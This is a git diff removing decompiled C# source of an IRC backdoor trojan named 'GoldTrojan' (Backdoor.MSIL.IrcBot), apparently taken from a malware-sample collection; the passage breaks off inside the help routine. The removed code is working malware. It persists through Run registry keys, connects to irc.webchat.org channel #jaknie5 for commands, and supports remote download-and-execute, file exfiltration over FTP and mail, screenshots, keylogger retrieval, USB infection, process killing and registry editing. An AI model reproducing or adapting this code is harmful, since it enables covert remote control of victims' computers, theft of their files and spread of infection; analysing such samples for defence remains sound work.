webResponse?.Close(); - } - } - - private WebRequest GetRequest(string url) - { - WebRequest request = WebRequest.Create(url); - if (request is HttpWebRequest) - { - request.Credentials = CredentialCache.DefaultCredentials; - request.Proxy.GetProxy(new Uri("http://www.google.com")); - } - if (this.proxy != null) - request.Proxy = this.proxy; - return request; - } - - public void Close() => this.response.Close(); - - public WebResponse Response - { - get => this.response; - set => this.response = value; - } - - public Stream DownloadStream - { - get - { - if (this.start == this.size) - return Stream.Null; - if (this.stream == null) - this.stream = this.response.GetResponseStream(); - return this.stream; - } - } - - public long FileSize => this.size; - - public long StartPoint => this.start; - - public bool IsProgressKnown => this.size > -1L; - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/DownloadEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/DownloadEventArgs.cs deleted file mode 100644 index 19993c26..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/DownloadEventArgs.cs +++ /dev/null @@ -1,49 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: GoldTrojan.DownloadEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; - -namespace GoldTrojan -{ - public class DownloadEventArgs : EventArgs - { - private int percentDone; - private string downloadState; - private long totalFileSize; - private long currentFileSize; - - public long TotalFileSize - { - get => this.totalFileSize; - set => this.totalFileSize = value; - } - - public long CurrentFileSize - { - get => this.currentFileSize; - set => this.currentFileSize = value; - } - - public DownloadEventArgs(long totalFileSize, long currentFileSize) - { - this.totalFileSize = totalFileSize; - this.currentFileSize = currentFileSize; - this.percentDone = (int) ((double) currentFileSize / (double) totalFileSize * 100.0); - } - - public DownloadEventArgs(string state) => this.downloadState = state; - - public DownloadEventArgs(int percentDone, string state) - { - this.percentDone = percentDone; - this.downloadState = state; - } - - public int PercentDone => this.percentDone; - - public string DownloadState => this.downloadState; - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/DownloadProgressHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/DownloadProgressHandler.cs deleted file mode 100644 index 2528e1d1..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/DownloadProgressHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: GoldTrojan.DownloadProgressHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace GoldTrojan -{ - public delegate void DownloadProgressHandler(object sender, DownloadEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/FileDownloader.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/FileDownloader.cs deleted file mode 100644 index 0128d397..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/FileDownloader.cs +++ /dev/null @@ -1,184 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: GoldTrojan.FileDownloader -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.Collections.Generic; -using System.IO; -using System.Net; -using System.Threading; - -namespace GoldTrojan -{ - public class FileDownloader - { - private const int downloadBlockSize = 1024; - private bool canceled; - private string downloadingTo; - private IWebProxy proxy; - - public string DownloadingTo => this.downloadingTo; - - public void Cancel() => this.canceled = true; - - public event DownloadProgressHandler ProgressChanged; - - public IWebProxy Proxy - { - get => this.proxy; - set => this.proxy = value; - } - - public event EventHandler DownloadComplete; - - private void OnDownloadComplete() - { - if (this.DownloadComplete == null) - return; - this.DownloadComplete((object) this, new EventArgs()); - } - - public void Download(string url) => this.Download(url, ""); - - public void Download(string url, string destFolder) - { - DownloadData downloadData = (DownloadData) null; - this.canceled = false; - try - { - downloadData = DownloadData.Create(url, destFolder, this.proxy); - string fileName = Path.GetFileName(downloadData.Response.ResponseUri.ToString()); - destFolder = destFolder.Replace("file:///", "").Replace("file://", ""); - this.downloadingTo = Path.Combine(destFolder, fileName); - if (!System.IO.File.Exists(this.downloadingTo)) - System.IO.File.Create(this.downloadingTo).Close(); - byte[] buffer = new byte[1024]; - long startPoint = downloadData.StartPoint; - bool flag = false; - int count; - while ((count = downloadData.DownloadStream.Read(buffer, 0, 1024)) > 0) - { - if (this.canceled) - { - flag = true; - downloadData.Close(); - break; - } - startPoint += (long) count; - this.SaveToFile(buffer, count, this.downloadingTo); - if (downloadData.IsProgressKnown) - this.RaiseProgressChanged(startPoint, downloadData.FileSize); - if (this.canceled) - { - flag = true; - downloadData.Close(); - break; - } - } - if (flag) - return; - this.OnDownloadComplete(); - } - catch (UriFormatException ex) - { - throw new ArgumentException(string.Format("Could not parse the URL \"{0}\" - it's either malformed or is an unknown protocol.", (object) url), (Exception) ex); - } - finally - { - downloadData?.Close(); - } - } - - public void Download(List urlList) => this.Download(urlList, ""); - - public void Download(List urlList, string destFolder) - { - if (urlList == null) - throw new ArgumentException("Url list not specified."); - if (urlList.Count == 0) - throw new ArgumentException("Url list empty."); - Exception exception = (Exception) null; - foreach (string url in urlList) - { - exception = (Exception) null; - try - { - this.Download(url, destFolder); - } - catch (Exception ex) - { - exception = ex; - } - if (exception == null) - break; - } - if (exception != null) - throw exception; - } - - public void AsyncDownload(string url) => ThreadPool.QueueUserWorkItem(new WaitCallback(this.WaitCallbackMethod), (object) new string[2] - { - url, - "" - }); - - public void AsyncDownload(string url, string destFolder) => ThreadPool.QueueUserWorkItem(new WaitCallback(this.WaitCallbackMethod), (object) new string[2] - { - url, - destFolder - }); - - public void AsyncDownload(List urlList, string destFolder) => ThreadPool.QueueUserWorkItem(new WaitCallback(this.WaitCallbackMethod), (object) new object[2] - { - (object) urlList, - (object) destFolder - }); - - public void AsyncDownload(List urlList) => ThreadPool.QueueUserWorkItem(new WaitCallback(this.WaitCallbackMethod), (object) new object[2] - { - (object) urlList, - (object) "" - }); - - private void WaitCallbackMethod(object data) - { - if (data is string[]) - { - string[] strArray = data as string[]; - this.Download(strArray[0], strArray[1]); - } - else - { - object[] objArray = data as object[]; - this.Download(objArray[0] as List, objArray[1] as string); - } - } - - private void SaveToFile(byte[] buffer, int count, string fileName) - { - FileStream fileStream = (FileStream) null; - try - { - fileStream = System.IO.File.Open(fileName, FileMode.Append, FileAccess.Write); - fileStream.Write(buffer, 0, count); - } - catch (ArgumentException ex) - { - throw new ArgumentException(string.Format("Error trying to save file \"{0}\": {1}", (object) fileName, (object) ex.Message), (Exception) ex); - } - finally - { - fileStream?.Close(); - } - } - - private void RaiseProgressChanged(long current, long target) - { - if (this.ProgressChanged == null) - return; - this.ProgressChanged((object) this, new DownloadEventArgs(target, current)); - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Form1.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Form1.cs deleted file mode 100644 index 07f73758..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Form1.cs +++ /dev/null @@ -1,2931 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: GoldTrojan.Form1 -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using Dolinay; -using Meebey.SmartIrc4net; -using Microsoft.Win32; -using System; -using System.Collections; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Management; -using System.Net; -using System.Net.Mail; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; -using System.Timers; -using System.Windows.Forms; - -namespace GoldTrojan -{ - public class Form1 : Form - { - private const int SPI_SETDESKWALLPAPER = 20; - private const int SPIF_UPDATEINIFILE = 1; - private const int SPIF_SENDWININICHANGE = 2; - private string kom = ""; - private string wiad = ""; - private string foldergames = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\gammess"; - private string folderbs = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BlueSoft"; - private string mdgm = nameof (mdgm); - private string adbs = nameof (adbs); - private System.Timers.Timer tm = new System.Timers.Timer(); - private System.Timers.Timer stt = new System.Timers.Timer(); - private bool polaczony; - private Hashtable _sessions = new Hashtable(); - public Hashtable treeViewForms = new Hashtable(); - public IrcFeatures irc; - private int k; - private int lu; - private string[] lcu = new string[200]; - private string wer = "3.2d"; - private string chk; - private bool wyslaniepliku; - private bool sprproc; - private Chat ch; - private string rt = ""; - private Channel _channel; - private IContainer components; - - public Form1() - { - if (this.SprawdzRejestr()) - { - this.InitializeComponent(); - this.ShowInTaskbar = false; - this.FormBorderStyle = FormBorderStyle.SizableToolWindow; - new DriveDetector().DeviceArrived += new DriveDetectorEventHandler(this.NowyDysk); - Thread.Sleep(10000); - this.tm.Interval = 10000.0; - this.tm.Elapsed += new ElapsedEventHandler(this.tm_Elapsed); - this.tm.Enabled = true; - this.AktualizujAuto(); - this.Blokowanie(); - } - else - { - try - { - Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "knp", (object) "true"); - } - catch - { - } - Process.GetCurrentProcess().Kill(); - } - } - - private bool SprawdzRejestr() - { - string str1 = "Run"; - string str2 = "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\"; - string str3 = "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\"; - try - { - try - { - Registry.SetValue(str3 + str1, "svhost", (object) Application.ExecutablePath); - } - catch - { - } - try - { - Registry.SetValue(str2 + str1, "svhost", (object) ""); - } - catch - { - } - } - catch - { - } - if (Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\asd", "svchost", (object) "").ToString() == "") - return true; - RegistryKey subKey = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\asd"); - subKey.DeleteValue("svchost"); - subKey.Close(); - return false; - } - - private void tm_Elapsed(object sender, ElapsedEventArgs e) - { - if (!this.polaczony) - { - this.asd(); - } - else - { - if (this.irc.IsConnected) - return; - this.asd(); - } - } - - private void asd() - { - this.polaczony = true; - this.irc = new IrcFeatures(); - this.irc.SendDelay = 200; - this.irc.ActiveChannelSyncing = true; - this.irc.PingTimeout = 120000; - this.irc.AutoReconnect = true; - this.irc.AutoRejoin = true; - this.irc.AutoRejoinOnKick = true; - this.lacz(); - this.ZbierzDane(); - } - - public void lacz() - { - if (this.irc.IsConnected) - return; - string str1 = Convert.ToString(new Random().Next(0, 20000)); - string[] strArray = "irc.webchat.org".Split(':'); - string address = strArray[0]; - int port = strArray.Length <= 1 ? 6667 : int.Parse(strArray[1]); - string realname = "asd" + str1; - string str2 = "x" + Environment.UserName + str1; - string password = ""; - string str3 = str2; - char[] charArray = str3.ToCharArray(); - for (int index = 0; index < charArray.Length; ++index) - { - switch (charArray[index]) - { - case 'Ó': - charArray[index] = 'O'; - break; - case 'ó': - charArray[index] = 'o'; - break; - case 'Ą': - charArray[index] = 'A'; - break; - case 'ą': - charArray[index] = 'a'; - break; - case 'Ć': - charArray[index] = 'C'; - break; - case 'ć': - charArray[index] = 'c'; - break; - case 'Ę': - charArray[index] = 'E'; - break; - case 'ę': - charArray[index] = 'e'; - break; - case 'Ł': - charArray[index] = 'L'; - break; - case 'ł': - charArray[index] = 'l'; - break; - case 'Ń': - charArray[index] = 'N'; - break; - case 'ń': - charArray[index] = 'n'; - break; - case 'Ś': - charArray[index] = 'S'; - break; - case 'ś': - charArray[index] = 's'; - break; - case 'Ź': - charArray[index] = 'Z'; - break; - case 'ź': - charArray[index] = 'z'; - break; - case 'Ż': - charArray[index] = 'Z'; - break; - case 'ż': - charArray[index] = 'z'; - break; - } - str3 = new string(charArray); - } - string str4 = str3; - try - { - this.irc.Connect(address, port); - } - catch (ConnectionException ex) - { - } - this.irc.Login(str4, realname, 0, str4, password); - new Form1.ircListener(((IrcConnection) this.irc).Listen).BeginInvoke((AsyncCallback) null, (object) null); - if (!this.irc.IsConnected) - return; - this.debug(); - } - - private void debug() - { - if (!this.irc.IsConnected) - return; - this.irc.WriteLine("join #jaknie5 gd201132"); - this.irc.WriteLine("join #" + this.irc.Nickname); - this.kanal(); - } - - private void kanal() - { - this.irc.OnChannelMessage += new IrcEventHandler(this.Wiadomosc); - this.irc.OnQuit += new QuitEventHandler(this.irc_OnQuit); - this.irc.OnJoin += new JoinEventHandler(this.irc_OnJoin); - this.irc.OnPart += new PartEventHandler(this.irc_OnPart); - this.irc.OnKick += new KickEventHandler(this.irc_OnKick); - } - - private void Wiadomosc(object sender, IrcEventArgs e) - { - if (e.Data.Channel == "#jaknie5") - { - try - { - DateTime now = DateTime.Now; - int hour = now.Hour; - int minute = now.Minute; - string str = "[" + Convert.ToString(hour) + ":" + Convert.ToString(minute) + "]"; - Form1 form1 = this; - form1.wiad = form1.wiad + e.Data.Nick + ": " + str + Environment.NewLine + e.Data.Message + Environment.NewLine; - } - catch - { - } - this.kom = e.Data.Message; - if (this.SprCzyOP(e.Data.Nick) && this.kom.Contains("irc")) - this.Polecenia(); - if (this.SprCzyVoice(e.Data.Nick) && this.kom.Contains("irc")) - this.PoleceniaVoice(); - } - if (!(e.Data.Channel == "#" + this.irc.Nickname)) - return; - try - { - DateTime now = DateTime.Now; - int hour = now.Hour; - int minute = now.Minute; - string str = "[" + Convert.ToString(hour) + ":" + Convert.ToString(minute) + "]"; - Form1 form1 = this; - form1.wiad = form1.wiad + e.Data.Nick + ": " + str + Environment.NewLine + e.Data.Message + Environment.NewLine; - } - catch - { - } - this.kom = e.Data.Message; - if (this.SprCzyOP(e.Data.Nick)) - { - this.kom.Contains("irc"); - this.Polecenia(); - } - if (!this.SprCzyVoice(e.Data.Nick) || !this.kom.Contains("irc")) - return; - this.PoleceniaVoice(); - } - - private void irc_OnQuit(object sender, QuitEventArgs e) - { - this.OPZarzadzaj(); - Form1 form1 = this; - form1.wiad = form1.wiad + e.Who + " opuścił kanał" + Environment.NewLine; - } - - private void irc_OnJoin(object sender, JoinEventArgs e) - { - if (this.irc.IsMe(e.Who)) - { - Form1 form1 = this; - form1.wiad = form1.wiad + "Dołączyłeś do kanału" + Environment.NewLine; - } - else - { - Form1 form1 = this; - form1.wiad = form1.wiad + e.Who + " dołączył do kanału" + Environment.NewLine; - } - } - - private void irc_OnPart(object sender, PartEventArgs e) - { - Form1 form1 = this; - form1.wiad = form1.wiad + e.Who + " opuścił kanał" + Environment.NewLine; - } - - private void irc_OnKick(object sender, KickEventArgs e) - { - if (this.irc.IsMe(e.Whom)) - { - Form1 form1 = this; - form1.wiad = form1.wiad + "Zostałeś wyrzucony z tego kanału" + Environment.NewLine; - } - else - { - Form1 form1 = this; - form1.wiad = form1.wiad + e.Whom + " został wyrzucony z tego kanału przez " + e.Who + " za " + e.KickReason + Environment.NewLine; - } - } - - private void Polecenia() - { - int num = 0; - string str1 = "wyjedz"; - string str2 = "wjedz"; - string str3 = "wyjwje"; - string str4 = "pobierz"; - string str5 = "otworz"; - string str6 = "wersja"; - string str7 = "pomoc"; - string str8 = "informacje"; - string str9 = "konsola"; - string str10 = "lista procesow"; - string str11 = "zabij"; - string str12 = "zabid"; - string str13 = "komunikat"; - string str14 = "pomkom"; - string str15 = "wylacz"; - string str16 = "wyloguj"; - string str17 = "wylogowac"; - string str18 = "restart"; - string str19 = "hibernacja"; - string str20 = "pobudka"; - string str21 = "sprawdz startup"; - string str22 = "chat"; - string str23 = "ww"; - string str24 = "chu"; - string str25 = "swi"; - string str26 = "zrobssf"; - string str27 = "wyswietl pliki"; - string str28 = "ftp pliki"; - string str29 = "ftp foldery"; - string str30 = "ftp drzewo"; - string str31 = "ftp wyslij"; - string str32 = "usun plik"; - string str33 = "usun folder"; - string str34 = "sprawdz proces"; - string str35 = "sciagnij keyloggera"; - string str36 = "mail folplik"; - string str37 = "mail wyslij"; - string str38 = "wyswietl foldery"; - string str39 = "mail pliki"; - string str40 = "mail foldery"; - string str41 = "mail drzewo"; - string str42 = "zrobssm"; - string str43 = "logi"; - string str44 = "aktualizuj"; - string str45 = "wyczysc"; - string str46 = "zmien tapete"; - string str47 = "blokuj"; - string str48 = "infekuj"; - string str49 = "ustawienia"; - string str50 = "rejestr"; - if (this.kom.Contains(str1)) - num = 1; - if (this.kom.Contains(str2)) - num = 2; - if (this.kom.Contains(str3)) - num = 3; - if (this.kom.Contains(str4)) - num = 4; - if (this.kom.Contains(str5)) - num = 5; - if (this.kom.Contains(str6)) - num = 6; - if (this.kom.Contains(str7)) - num = 7; - if (this.kom.Contains(str8)) - num = 8; - if (this.kom.Contains(str9)) - num = 9; - if (this.kom.Contains(str10)) - num = 10; - if (this.kom.Contains(str11)) - num = 11; - if (this.kom.Contains(str12)) - num = 12; - if (this.kom.Contains(str13)) - num = 13; - if (this.kom.Contains(str14)) - num = 14; - if (this.kom.Contains(str15)) - num = 15; - if (this.kom.Contains(str16)) - num = 16; - if (this.kom.Contains(str17)) - num = 17; - if (this.kom.Contains(str18)) - num = 18; - if (this.kom.Contains(str19)) - num = 19; - if (this.kom.Contains(str20)) - num = 20; - if (this.kom.Contains(str21)) - num = 21; - if (this.kom.Contains(str22)) - num = 22; - if (this.kom.Contains(str23)) - num = 23; - if (this.kom.Contains(str24)) - num = 24; - if (this.kom.Contains(str25)) - num = 25; - if (this.kom.Contains(str26)) - num = 26; - if (this.kom.Contains(str27)) - num = 27; - if (this.kom.Contains(str28)) - num = 28; - if (this.kom.Contains(str29)) - num = 29; - if (this.kom.Contains(str30)) - num = 30; - if (this.kom.Contains(str31)) - num = 31; - if (this.kom.Contains(str32)) - num = 32; - if (this.kom.Contains(str33)) - num = 33; - if (this.kom.Contains(str34)) - num = 34; - if (this.kom.Contains(str35)) - num = 35; - if (this.kom.Contains(str36)) - num = 36; - if (this.kom.Contains(str37)) - num = 37; - if (this.kom.Contains(str38)) - num = 38; - if (this.kom.Contains(str39)) - num = 39; - if (this.kom.Contains(str40)) - num = 40; - if (this.kom.Contains(str41)) - num = 41; - if (this.kom.Contains(str42)) - num = 42; - if (this.kom.Contains(str43)) - num = 43; - if (this.kom.Contains(str44)) - num = 44; - if (this.kom.Contains(str45)) - num = 45; - if (this.kom.Contains(str46)) - num = 46; - if (this.kom.Contains(str47)) - num = 47; - if (this.kom.Contains(str48)) - num = 48; - if (this.kom.Contains(str49)) - num = 49; - if (this.kom.Contains(str50)) - num = 50; - switch (num) - { - case 1: - this.Wysuwanie(); - break; - case 2: - this.Wsuwanie(); - break; - case 3: - this.wyswsu(); - break; - case 4: - this.Pobierz(); - break; - case 5: - this.Otworz(); - break; - case 6: - this.Wersja(); - break; - case 7: - this.Pomoc(); - break; - case 8: - this.Informacje(); - break; - case 9: - this.Konsola(); - break; - case 10: - this.Procesy(); - break; - case 11: - this.ZabijProces(); - break; - case 12: - this.ZabijIDProces(); - break; - case 13: - this.Komunikaty(); - break; - case 14: - this.PomocKomunikaty(); - break; - case 15: - this.wylacz(); - break; - case 16: - this.wyloguj(); - break; - case 17: - this.wyloguj2(); - break; - case 18: - this.restart(); - break; - case 19: - this.hibernacja(); - break; - case 20: - this.pobudka(); - break; - case 21: - this.PobierzStartup(); - break; - case 22: - this.PokazChat(); - break; - case 23: - this.WyslijWiadomosc(); - break; - case 24: - this.SchowajChat(); - break; - case 25: - this.OdbierzWiadomosc(); - break; - case 26: - this.ftpZrobSS(); - break; - case 27: - this.SprawdzPliki(); - break; - case 28: - this.ftpWyswietlPliki(); - break; - case 29: - this.ftpWyswietlKatalogi(); - break; - case 30: - this.ftpWyswietlDrzewo(); - break; - case 31: - this.ftpWyslijPliki(); - break; - case 32: - this.UsunPlik(); - break; - case 33: - this.UsunFolder(); - break; - case 34: - this.SprawdzProces(); - break; - case 35: - this.PobierzKeyloggera(); - break; - case 36: - this.mailWyslijFolder(); - break; - case 37: - this.mailWyslijPlik(); - break; - case 38: - this.SprawdzFoldery(); - break; - case 39: - this.mailWyswietlPliki(); - break; - case 40: - this.mailWyswietlKatalogi(); - break; - case 41: - this.mailWyswietlDrzewo(); - break; - case 42: - this.mailZrobSS(); - break; - case 43: - this.Logi(); - break; - case 44: - this.Aktualizuj(); - break; - case 45: - this.Czyszczenie(); - break; - case 46: - this.ZmienTapete(); - break; - case 47: - this.Blokowanie(); - break; - case 48: - this.InfekujPendrive(); - break; - case 49: - this.UstawieniaRejestru(); - break; - case 50: - this.Rejestr(); - break; - default: - this.irc.SendMessage(SendType.Message, "#jaknie5", "-.-"); - break; - } - } - - private void PoleceniaVoice() - { - int num = 0; - string str1 = "pobierz"; - string str2 = "otworz"; - string str3 = "wersja"; - string str4 = "pomoc"; - string str5 = "informacje"; - string str6 = "konsola"; - string str7 = "lista procesow"; - string str8 = "zabid"; - string str9 = "komunikat"; - string str10 = "pomkom"; - string str11 = "sprawdz startup"; - string str12 = "zrobssf"; - string str13 = "wyswietl pliki"; - string str14 = "ftp pliki"; - string str15 = "ftp foldery"; - string str16 = "ftp drzewo"; - string str17 = "ftp wyslij"; - string str18 = "usun plik"; - string str19 = "usun folder"; - string str20 = "sprawdz proces"; - string str21 = "sciagnij keyloggera"; - string str22 = "mail folplik"; - string str23 = "mail wyslij"; - string str24 = "wyswietl foldery"; - string str25 = "mail pliki"; - string str26 = "mail foldery"; - string str27 = "mail drzewo"; - string str28 = "zrobssm"; - string str29 = "logi"; - string str30 = "aktualizuj"; - string str31 = "wyczysc"; - if (this.kom.Contains(str1)) - num = 1; - if (this.kom.Contains(str2)) - num = 2; - if (this.kom.Contains(str3)) - num = 3; - if (this.kom.Contains(str4)) - num = 4; - if (this.kom.Contains(str5)) - num = 5; - if (this.kom.Contains(str6)) - num = 6; - if (this.kom.Contains(str7)) - num = 7; - if (this.kom.Contains(str8)) - num = 8; - if (this.kom.Contains(str9)) - num = 9; - if (this.kom.Contains(str10)) - num = 10; - if (this.kom.Contains(str11)) - num = 11; - if (this.kom.Contains(str12)) - num = 12; - if (this.kom.Contains(str13)) - num = 13; - if (this.kom.Contains(str14)) - num = 14; - if (this.kom.Contains(str15)) - num = 15; - if (this.kom.Contains(str16)) - num = 16; - if (this.kom.Contains(str17)) - num = 17; - if (this.kom.Contains(str18)) - num = 18; - if (this.kom.Contains(str19)) - num = 19; - if (this.kom.Contains(str20)) - num = 20; - if (this.kom.Contains(str21)) - num = 21; - if (this.kom.Contains(str22)) - num = 22; - if (this.kom.Contains(str23)) - num = 23; - if (this.kom.Contains(str24)) - num = 24; - if (this.kom.Contains(str25)) - num = 25; - if (this.kom.Contains(str26)) - num = 26; - if (this.kom.Contains(str27)) - num = 27; - if (this.kom.Contains(str28)) - num = 28; - if (this.kom.Contains(str29)) - num = 29; - if (this.kom.Contains(str30)) - num = 30; - if (this.kom.Contains(str31)) - num = 31; - switch (num) - { - case 1: - this.Pobierz(); - break; - case 2: - this.Otworz(); - break; - case 3: - this.Wersja(); - break; - case 4: - this.PomocVoice(); - break; - case 5: - this.Informacje(); - break; - case 6: - this.Konsola(); - break; - case 7: - this.Procesy(); - break; - case 8: - this.ZabijIDProces(); - break; - case 9: - this.Komunikaty(); - break; - case 10: - this.PomocKomunikaty(); - break; - case 11: - this.PobierzStartup(); - break; - case 12: - this.ftpZrobSS(); - break; - case 13: - this.SprawdzPliki(); - break; - case 14: - this.ftpWyswietlPliki(); - break; - case 15: - this.ftpWyswietlKatalogi(); - break; - case 16: - this.ftpWyswietlDrzewo(); - break; - case 17: - this.ftpWyslijPliki(); - break; - case 18: - this.UsunPlik(); - break; - case 19: - this.UsunFolder(); - break; - case 20: - this.SprawdzProces(); - break; - case 21: - this.PobierzKeyloggera(); - break; - case 22: - this.mailWyslijFolder(); - break; - case 23: - this.mailWyslijPlik(); - break; - case 24: - this.SprawdzFoldery(); - break; - case 25: - this.mailWyswietlPliki(); - break; - case 26: - this.mailWyswietlKatalogi(); - break; - case 27: - this.mailWyswietlDrzewo(); - break; - case 28: - this.mailZrobSS(); - break; - case 29: - this.Logi(); - break; - case 30: - this.Aktualizuj(); - break; - case 31: - this.Czyszczenie(); - break; - default: - this.irc.SendMessage(SendType.Message, "#jaknie5", "-.-"); - break; - } - } - - [DllImport("winmm.dll")] - public static extern void mciSendStringA( - string lpstrCommand, - string lpstrReturnString, - int uReturnLength, - int hwndCallback); - - private void OtworzPlik(string sciezka) - { - try - { - new Process() { StartInfo = { FileName = sciezka } }.Start(); - } - catch - { - } - } - - private void downloader_DownloadedComplete() => this.irc.SendMessage(SendType.Message, "#jaknie5", "pobrano plik"); - - private void Pobierz() - { - string destination = "#jaknie5"; - string message = "nie pobrano pliku"; - FileDownloader fileDownloader = new FileDownloader(); - string kom = this.kom; - try - { - string[] strArray1 = kom.Split(' '); - string[] strArray2 = kom.Split('"'); - string url = strArray1[2]; - string destFolder = !this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray2[1] : this.folderbs) : this.foldergames; - fileDownloader.Download(url, destFolder); - this.downloader_DownloadedComplete(); - } - catch - { - this.irc.SendMessage(SendType.Message, destination, message); - } - } - - private void Wysuwanie() - { - Form1.mciSendStringA("set CDAudio door open", this.rt, (int) sbyte.MaxValue, 0); - this.irc.SendMessage(SendType.Message, "#jaknie5", "wysunieto"); - } - - private void Wsuwanie() - { - Form1.mciSendStringA("set CDAudio door closed", this.rt, (int) sbyte.MaxValue, 0); - this.irc.SendMessage(SendType.Message, "#jaknie5", "wsunieto"); - } - - private void wyswsu() - { - string[] strArray = this.kom.Split(' '); - string str = strArray[1]; - int int32 = Convert.ToInt32(strArray[2]); - for (int index = 0; index < int32; ++index) - { - Form1.mciSendStringA("set CDAudio door open", this.rt, (int) sbyte.MaxValue, 0); - Form1.mciSendStringA("set CDAudio door closed", this.rt, (int) sbyte.MaxValue, 0); - } - this.irc.SendMessage(SendType.Message, "#jaknie5", "wysuwanie i wsuwanie"); - } - - private void Otworz() - { - string destination = "#jaknie5"; - string message1 = "otworzono plik"; - string message2 = "nie otworzono pliku"; - string kom = this.kom; - try - { - kom.Split(' '); - string[] strArray = kom.Split('"'); - this.OtworzPlik(!this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs + strArray[1]) : this.foldergames + strArray[1]); - this.irc.SendMessage(SendType.Message, destination, message1); - } - catch - { - this.irc.SendMessage(SendType.Message, destination, message2); - } - } - - private void Wersja() - { - string destination = "#jaknie5"; - string message1 = "GoldTrojan wersja " + this.wer; - string message2 = "Dodano:"; - string message3 = "-możliwość odczytu i edycji rejestru"; - string message4 = "-zmiane tapety wewnatrz programu"; - string message5 = "Poprawiono:"; - string message6 = "-blokowanie programow"; - string message7 = "-zbieranie danych o komputerach"; - this.irc.SendMessage(SendType.Message, destination, message1); - this.irc.SendMessage(SendType.Message, destination, message2); - this.irc.SendMessage(SendType.Message, destination, message3); - this.irc.SendMessage(SendType.Message, destination, message4); - this.irc.SendMessage(SendType.Message, destination, message5); - this.irc.SendMessage(SendType.Message, destination, message6); - this.irc.SendMessage(SendType.Message, destination, message7); - } - - private void Pomoc() - { - string destination = "#jaknie5"; - string message1 = "GoldTrojan wersja " + this.wer; - string message2 = "Dostępne komendy:"; - string message3 = "-wyjedz - wysuwanie stacji dysków"; - string message4 = "-wjedz - wsunięcie stacji dysków"; - string 